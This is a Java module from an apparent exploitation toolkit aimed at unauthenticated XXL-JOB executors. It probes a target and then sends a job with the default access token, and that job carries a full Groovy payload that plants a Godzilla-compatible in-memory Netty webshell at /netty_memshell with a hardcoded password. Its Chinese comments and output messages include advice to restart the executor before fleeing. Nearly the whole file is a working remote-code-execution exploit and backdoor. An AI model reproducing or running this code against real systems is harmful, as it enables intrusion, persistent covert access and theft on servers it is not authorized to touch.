content: package com.example.xxljobexp.exploit;
  
  import com.example.xxljobexp.entity.ExecutionResult;
  import com.example.xxljobexp.entity.Vulnerability;
  
  import java.io.BufferedReader;
  import java.io.InputStreamReader;
  import java.io.OutputStream;
  import java.net.HttpURLConnection;
  import java.net.URL;
  
  public class executor_unauth_high230 implements Vulnerability {
      public executor_unauth_high230() {}
  
      public String getInfo() {
          String vulname = "XXL-JOB executor未授权访问（executor管理端口漏洞，输入http://ip:port进行检测和利用）";
          String desc = "executor默认没有配置认证或默认认证头未修改，未授权的攻击者可以通过接口执行任意命令，本漏洞针对于version>=2.3.0版本。";
          String appVersion = "version>=2.3.0";
          String fixRecommendation = "升级版本，或添加accessToken鉴权";
          return String.format("--------------------------------------------------\n漏洞名称: %s\n\n漏洞描述: %s\n\n漏洞影响版本: %s\n\n漏洞修复方案: %s\n\n--------------------------------------------------\n", vulname, desc, appVersion, fixRecommendation);
      }
  
      public ExecutionResult check(String url) throws Exception {
          try {
              URL targetUrl = new URL(url);
              HttpURLConnection connection = (HttpURLConnection)targetUrl.openConnection();
              connection.setRequestMethod("GET");
              connection.setInstanceFollowRedirects(false);
              BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
              StringBuilder response = new StringBuilder();
              String line;
              while ((line = reader.readLine()) != null) {
                  response.append(line);
              }
              reader.close();
              if (response.toString().contains("invalid request")) {
                  return new ExecutionResult(true, "executor-unauth version>=2.3.0", response.toString().split("empty")[0]+"empty...", (String)null);
              } else if (response.toString().contains("xxl-rpc request data")) {
                  return new ExecutionResult(true, "executor-unauth version>=2.3.0", response.toString().split("empty")[0]+"empty...", "该executor版本低于2.2.0");
              }
              return new ExecutionResult(false, "executor-unauth version>=2.3.0", (String)null, (String)null);
          } catch (Exception var10) {
              return new ExecutionResult(false, "executor-unauth version>=2.3.0", (String)null, (String)null);
          }
      }
  
      public ExecutionResult exploit(String iniurl) throws Exception {
          HttpURLConnection connection = null;
          try {
              // 创建URL对象
              URL url = new URL(iniurl + "/run");
              // 打开连接
              connection = (HttpURLConnection) url.openConnection();
              // 设置请求方法为POST
              connection.setRequestMethod("POST");
              // 设置请求头
              connection.setRequestProperty("Accept-Encoding", "gzip, deflate");
              connection.setRequestProperty("Accept", "*/*");
              connection.setRequestProperty("Accept-Language", "en");
              connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36");
              connection.setRequestProperty("Connection", "close");
              connection.setRequestProperty("XXL-JOB-ACCESS-TOKEN", "default_token");
              connection.setRequestProperty("Content-Type", "application/json");
  
              // 发送POST请求必须设置这个
              connection.setDoOutput(true);
  
              // 获取输出流并写入数据
              OutputStream os = connection.getOutputStream();
              String jsonInputString = "{"
                      + "\"jobId\": 1,"
                      + "\"executorHandler\": \"demoJobHandler\","
                      + "\"executorParams\": \"demoJobHandler\","
                      + "\"executorBlockStrategy\": \"COVER_EARLY\","
                      + "\"executorTimeout\": 0,"
                      + "\"logId\": 1,"
                      + "\"logDateTime\": 1586629003729,"
                      + "\"glueType\": \"GLUE_GROOVY\","
                      + "\"glueSource\":\""+code+"\","
                      + "\"glueUpdatetime\": 1586699003758,"
                      + "\"broadcastIndex\": 0,"
                      + "\"broadcastTotal\": 0"
                      + "}";
  
              os.write(jsonInputString.getBytes("UTF-8"));
              os.flush();
  
              // 获取响应码
              int responseCode = connection.getResponseCode();
              System.out.println("POST Response Code :: " + responseCode);
  
              // 可以进一步处理响应数据，例如读取输入流等
  
          } catch (Exception e) {
              e.printStackTrace();
          } finally {
              if (connection != null) {
                  connection.disconnect();
              }
          }
          return new ExecutionResult(true, "executor-unauth 2.2.0<=version<2.3.0", "empty...", "已写入哥斯拉马，请尝试连接，未连接成功则为写入失败（该漏洞写入内存马会导致原本执行逻辑会消失，建议跑路前重启一下执行器），地址：" + iniurl + "/netty_memshell, 密码: xxl-job-EXP，密钥：xxl-job-EXP");
      }
  
  
      final static String code = "package com.xxl.job.service.handler;\\n\\nimport com.xxl.job.core.biz.impl.ExecutorBizImpl;\\nimport com.xxl.job.core.server.EmbedServer;\\nimport io.netty.buffer.ByteBuf;\\nimport io.netty.buffer.Unpooled;\\nimport io.netty.channel.*;\\nimport io.netty.channel.socket.SocketChannel;\\nimport io.netty.handler.codec.http.*;\\nimport io.netty.handler.timeout.IdleStateHandler;\\nimport java.io.ByteArrayOutputStream;\\nimport java.lang.reflect.Field;\\nimport java.lang.reflect.Method;\\nimport java.net.URL;\\nimport java.net.URLClassLoader;\\nimport java.util.AbstractMap;\\nimport java.util.HashSet;\\nimport java.util.concurrent.*;\\n\\nimport com.xxl.job.core.context.XxlJobHelper;\\nimport com.xxl.job.core.handler.IJobHandler;\\n\\npublic class DemoGlueJobHandler extends IJobHandler {\\n    public static class NettyThreadHandler extends ChannelDuplexHandler{\\n        String xc = \\\"550de4f4107824bd\\\";\\n        String pass = \\\"xxl-job-EXP\\\";\\n        String md5 = md5(pass + xc);\\n        String result = \\\"\\\";\\n        private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();\\n        private  static Class payload;\\n\\n        private static Class defClass(byte[] classbytes)throws Exception{\\n            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());\\n            Method method = ClassLoader.class.getDeclaredMethod(\\\"defineClass\\\", byte[].class, int.class, int.class);\\n            method.setAccessible(true);\\n            return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);\\n        }\\n\\n        public byte[] x(byte[] s, boolean m) {\\n            try {\\n                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(\\\"AES\\\");\\n                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), \\\"AES\\\"));\\n                return c.doFinal(s);\\n            } catch(Exception e) {\\n                return null;\\n            }\\n        }\\n        public static String md5(String s) {\\n            String ret = null;\\n            try {\\n                java.security.MessageDigest m;\\n                m = java.security.MessageDigest.getInstance(\\\"MD5\\\");\\n                m.update(s.getBytes(), 0, s.length());\\n                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();\\n            } catch(Exception e) {}\\n            return ret;\\n        }\\n\\n        @Override\\n        public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\\n            if(((HttpRequest)msg).uri().contains(\\\"netty_memshell\\\")) {\\n                if (msg instanceof HttpRequest){\\n                    HttpRequest httpRequest = (HttpRequest) msg;\\n                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());\\n                    requestThreadLocal.set(simpleEntry);\\n                }\\n                if(msg instanceof HttpContent){\\n                    HttpContent httpContent = (HttpContent)msg;\\n                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();\\n                    if (simpleEntry == null){\\n                        return;\\n                    }\\n                    HttpRequest httpRequest = simpleEntry.getKey();\\n                    ByteArrayOutputStream contentBuf = simpleEntry.getValue();\\n\\n                    ByteBuf byteBuf = httpContent.content();\\n                    int size = byteBuf.capacity();\\n                    byte[] requestContent = new byte[size];\\n                    byteBuf.getBytes(0,requestContent,0,requestContent.length);\\n\\n                    contentBuf.write(requestContent);\\n\\n                    if (httpContent instanceof LastHttpContent){\\n                        try {\\n                            byte[] data =  x(contentBuf.toByteArray(), false);\\n\\n                            if (payload == null) {\\n                                payload = defClass(data);\\n                                send(ctx,x(new byte[0], true),HttpResponseStatus.OK);\\n                            } else {\\n                                Object f = payload.newInstance();\\n                                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();\\n                                f.equals(arrOut);\\n                                f.equals(data);\\n                                f.toString();\\n                                send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);\\n                            }\\n                        } catch(Exception e) {\\n                            ctx.fireChannelRead(httpRequest);\\n                        }\\n                    }else {\\n                        ctx.fireChannelRead(msg);\\n                    }\\n                }\\n            } else {\\n                ctx.fireChannelRead(msg);\\n            }\\n        }\\n\\n        private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {\\n            FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));\\n            response.headers().set(HttpHeaderNames.CONTENT_TYPE, \\\"text/plain; charset=UTF-8\\\");\\n            ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);\\n        }\\n    }\\n\\n    public void execute() throws Exception{\\n        try{\\n            ThreadGroup group = Thread.currentThread().getThreadGroup();\\n            Field threads = group.getClass().getDeclaredField(\\\"threads\\\");\\n            threads.setAccessible(true);\\n            Thread[] allThreads = (Thread[]) threads.get(group);\\n            for (Thread thread : allThreads) {\\n                if (thread != null && thread.getName().contains(\\\"nioEventLoopGroup\\\")) {\\n                    try {\\n                        Object target;\\n\\n                        try {\\n                            target = getFieldValue(getFieldValue(getFieldValue(thread, \\\"target\\\"), \\\"runnable\\\"), \\\"val\\\\$eventExecutor\\\");\\n                        } catch (Exception e) {\\n                            continue;\\n                        }\\n\\n                        if (target.getClass().getName().endsWith(\\\"NioEventLoop\\\")) {\\n                            XxlJobHelper.log(\\\"NioEventLoop find\\\");\\n                            HashSet set = (HashSet) getFieldValue(getFieldValue(target, \\\"unwrappedSelector\\\"), \\\"keys\\\");\\n                            if (!set.isEmpty()) {\\n                                Object keys = set.toArray()[0];\\n                                Object pipeline = getFieldValue(getFieldValue(keys, \\\"attachment\\\"), \\\"pipeline\\\");\\n                                Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, \\\"head\\\"), \\\"next\\\"), \\\"handler\\\");\\n                                setFieldValue(embedHttpServerHandler, \\\"childHandler\\\", new ChannelInitializer<SocketChannel>() {\\n                                    @Override\\n                                    public void initChannel(SocketChannel channel) throws Exception {\\n                                        channel.pipeline()\\n                                            .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle\\n                                            .addLast(new HttpServerCodec())\\n                                            .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL\\n                                            .addLast(new NettyThreadHandler())\\n                                            .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), \\\"\\\", new ThreadPoolExecutor(\\n                                                0,\\n                                                200,\\n                                                60L,\\n                                                TimeUnit.SECONDS,\\n                                                new LinkedBlockingQueue<Runnable>(2000),\\n                                                new ThreadFactory() {\\n                                                    @Override\\n                                                    public Thread newThread(Runnable r) {\\n                                                        return new Thread(r, \\\"xxl-rpc, EmbedServer bizThreadPool-\\\" + r.hashCode());\\n                                                    }\\n                                                },\\n                                                new RejectedExecutionHandler() {\\n                                                    @Override\\n                                                    public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {\\n                                                        throw new RuntimeException(\\\"xxl-job, EmbedServer bizThreadPool is EXHAUSTED!\\\");\\n                                                    }\\n                                                })));\\n                                    }\\n                                });\\n                                XxlJobHelper.log(\\\"success!\\\");\\n                                break;\\n                            }\\n                        }\\n                    } catch (Exception e){\\n                        XxlJobHelper.log(e.toString());\\n                    }\\n                }\\n            }\\n        }catch (Exception e){\\n            XxlJobHelper.log(e.toString());\\n        }\\n    }\\n\\n    public Field getField(final Class<?> clazz, final String fieldName) {\\n        Field field = null;\\n        try {\\n            field = clazz.getDeclaredField(fieldName);\\n            field.setAccessible(true);\\n        } catch (NoSuchFieldException ex) {\\n            if (clazz.getSuperclass() != null){\\n                field = getField(clazz.getSuperclass(), fieldName);\\n            }\\n        }\\n        return field;\\n    }\\n\\n    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {\\n        final Field field = getField(obj.getClass(), fieldName);\\n        return field.get(obj);\\n    }\\n\\n    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\\n        final Field field = getField(obj.getClass(), fieldName);\\n        field.set(obj, value);\\n    }\\n}";
  }
  